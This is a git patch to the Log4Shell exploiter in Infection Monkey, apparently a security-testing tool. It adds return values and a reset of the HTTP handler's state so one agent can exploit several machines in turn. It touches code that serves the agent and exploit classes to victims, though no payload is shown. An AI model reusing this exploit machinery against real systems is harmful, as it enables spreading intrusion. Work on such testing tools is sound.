From 7ba2051bf665ce9cda5c7b51a6f5f099673c93e5 Mon Sep 17 00:00:00 2001
From: vakarisz <vakarisz@yahoo.com>
Date: Thu, 6 Jan 2022 16:58:40 +0200
Subject: [PATCH] Agent: fix a bug in log4shell

 Fix a bug that prevents single agent from exploiting multiple machines, by resetting the state of global HTTPHandler params
---
 monkey/infection_monkey/exploit/log4shell.py | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py
index 10bbe8859..3f5ffe886 100644
--- a/monkey/infection_monkey/exploit/log4shell.py
+++ b/monkey/infection_monkey/exploit/log4shell.py
@@ -50,13 +50,10 @@ class Log4ShellExploiter(WebRCE):
     def _exploit_host(self):
         self.start_servers()
         try:
-            self.exploit(None, None)
+            return self.exploit(None, None)
         finally:
             self.stop_servers()
 
-        # If java class was downloaded it means that victim is vulnerable
-        return Log4ShellExploiter.HTTPHandler.class_downloaded
-
     def start_servers(self):
         # Start http server, to serve agent to victims
         paths = self.get_monkey_paths()
@@ -140,7 +137,7 @@ class Log4ShellExploiter(WebRCE):
         else:
             return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH)
 
-    def exploit(self, url, command):
+    def exploit(self, url, command) -> bool:
         # Try to exploit all services,
         # because we don't know which services are running and on which ports
         open_ports = [
@@ -158,7 +155,8 @@ class Log4ShellExploiter(WebRCE):
                         "service_name": exploit.service_name,
                         "port": port,
                     }
-                    return
+                    return True
+        return False
 
     class HTTPHandler(http.server.BaseHTTPRequestHandler):
 
@@ -166,6 +164,11 @@ class Log4ShellExploiter(WebRCE):
         class_downloaded = False
         stop = False
 
+        @staticmethod
+        def reset():
+            Log4ShellExploiter.HTTPHandler.class_downloaded = False
+            Log4ShellExploiter.HTTPHandler.stop = False
+
         def do_GET(self):
             Log4ShellExploiter.HTTPHandler.class_downloaded = True
             logger.info("Java class servergot a GET request!")
@@ -185,6 +188,8 @@ class Log4ShellExploiter(WebRCE):
         ):
             server.handle_request()
 
+        Log4ShellExploiter.HTTPHandler.reset()
+
     def get_java_class_server_thread(self, ip: str, java_class: bytes):
         Log4ShellExploiter.HTTPHandler.java_class = java_class